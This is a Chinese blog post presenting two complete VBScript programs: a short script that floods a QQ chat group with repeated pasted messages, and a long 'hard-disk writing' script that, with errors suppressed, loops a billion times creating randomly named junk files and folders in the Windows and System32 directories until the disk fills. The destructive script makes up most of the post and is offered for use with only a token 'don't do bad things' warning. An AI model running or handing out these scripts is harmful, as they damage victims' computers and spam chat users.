不知道是最近还是以前，反正就是这几天经常在网上看到一个刷QQ群的VBS代码。
复制代码 代码如下:
SetWshShell=WScript.createObject("WScript.Shell")
WshShell.AppActivate"群－Powers成员交流"
fori=1to10'要发的次数
WScript.Sleep500'发送消息的时间间隔
WshShell.SendKeys"^v"'要发的内容
WshShell.SendKeysi'这里拿每条消息都不同，在后面加上i即循环的次数
WshShell.SendKeys"%s"
next
这个代码里面解释的很清楚的啦~呵呵
其实就只是这么一点点就已经可以弄来我们做好几个好玩的东西了啦~比如：刷QQ聊天啊、刷网站啦~
由于比较感兴趣，所以找到个这样的代码：一个写硬盘的VBS脚本程序（不要做坏事哦）
复制代码 代码如下:
onerrorresumenext
dimobjdir,suijishu
setobjdir=wscript.createobject("scripting.filesystemobject")
setwindir=objdir.getspecialfolder(0)
setsysdir=objdir.getspecialfolder(1)
'开始程序
fori=1to1000
forj=1to1000
forr=1to1000'------------------------------------------------------------------------------
randomize
y=int((122-65+1)*rnd+65)
y1=int((122-65+1)*rnd+65)
y2=int((122-65+1)*rnd+65)
y3=int((122-65+1)*rnd+65)
y4=int((122-65+1)*rnd+65)
y5=int((122-65+1)*rnd+65)
y6=int((122-65+1)*rnd+65)
y7=int((122-65+1)*rnd+65)
y8=int((122-65+1)*rnd+65)'-----------------------------------------------------------------
y9=int((122-65+1)*rnd+65)
f=chr(y)&chr(y1)&chr(y2)&chr(y3)&chr(y4)&chr(y5)&chr(y6)&chr(y7)&chr(y8)&chr(y9)
suijishu=int(rnd*10000)
'创建windows文件
yang=windir&""&f&"."&chr(y3)&chr(y7)&chr(y)
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"'------------------------------------------------------------
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&""&chr(y3)&chr(y1)&"."&chr(y)&chr(y4)&chr(y2)'2
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu'-----------------------------------------------------------------------
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&""&chr(y7)&chr(y2)&chr(y9)&"."&chr(y8)&chr(y4)&chr(y1)'3
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)'-------------------------------------------------------------
next
a.close
yang=windir&""&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y6)&chr(y9)&chr(y3)'4
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next'--------------------------------------------------------------------------------------
a.close
yang=windir&""&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y6)&chr(y8)&chr(y4)'5
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close'---------------------------------------------------------------------------------
yang=windir&""&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y8)&chr(y)'6
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close'----------------------------------------------------------------------------------
yang=windir&""&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y2)&chr(y)&chr(y5)'7
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&""&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y4)&chr(y)&chr(y7)'8'---
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
'创建system文件------------------------------------------------------------------------------10
yang=sysdir&""&f&"."&chr(y3)&chr(y9)&chr(y1)
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y3)&chr(y1)&"."&chr(y4)&chr(y2)&chr(y9)'2------------------------------------------
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y7)&chr(y2)&chr(y9)&"."&chr(y3)&chr(y7)&chr(y)'3
seta=objdir.createtextfile(yang,true)'------------------------------------------------------
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y5)&chr(y4)&chr(y1)'4
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"'-----------------------------------------
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y3)&chr(y6)&chr(y9)'5
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"'------------------------------------------------
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y)&chr(y5)'6
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"'------------------------------------------------------------15
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y7)&chr(y5)&chr(y1)'7
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu'-------------------------------------------------------------------------
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y1)&chr(y7)&chr(y4)'8
seta=objdir.createtextfile(yang,true)
a.writeline"MadeInChina,Hubei,Wuhan,Guanshan"
a.writeline"古风居委会首席执行官老杨同志"
a.writeline"Oicq:14903220"
foru=1tosuijishu
a.writeline(f&f&f&f&f&f&f)'--------------------------------------------------------------
next
a.close
'创建windows文件夹
yang=windir&""&f&"u"
objdir.createfolder(yang)
yang=windir&""&chr(y4)&chr(y2)'2
objdir.createfolder(yang)
yang=windir&""&chr(y)&chr(y9)&chr(y5)'3
objdir.createfolder(yang)'-------------------------------------------------------------------
yang=windir&""&chr(y6)&chr(y3)&chr(y8)&chr(y7)'4
objdir.createfolder(yang)
yang=windir&""&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3)'5
objdir.createfolder(yang)
yang=windir&""&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7)'6
objdir.createfolder(yang)
yang=windir&""&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2)'7
objdir.createfolder(yang)
yang=windir&""&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5)'8
objdir.createfolder(yang)'--------------------------------------------------------------------
'创建system文件夹
yang=sysdir&""&f&"n"
objdir.createfolder(yang)
yang=sysdir&""&chr(y4)&chr(y2)'2
objdir.createfolder(yang)
yang=sysdir&""&chr(y)&chr(y9)&chr(y5)'3
objdir.createfolder(yang)
yang=sysdir&""&chr(y6)&chr(y3)&chr(y8)&chr(y7)'4
objdir.createfolder(yang)'---------------------------------------------------------------------
yang=sysdir&""&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3)'5
objdir.createfolder(yang)
yang=sysdir&""&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7)'6
objdir.createfolder(yang)
yang=sysdir&""&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2)'7
objdir.createfolder(yang)
yang=sysdir&""&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5)'8
objdir.createfolder(yang)
next
next
next
'老杨同志呕血巨著
【从一个VBS脚本学习一点点东西】相关文章：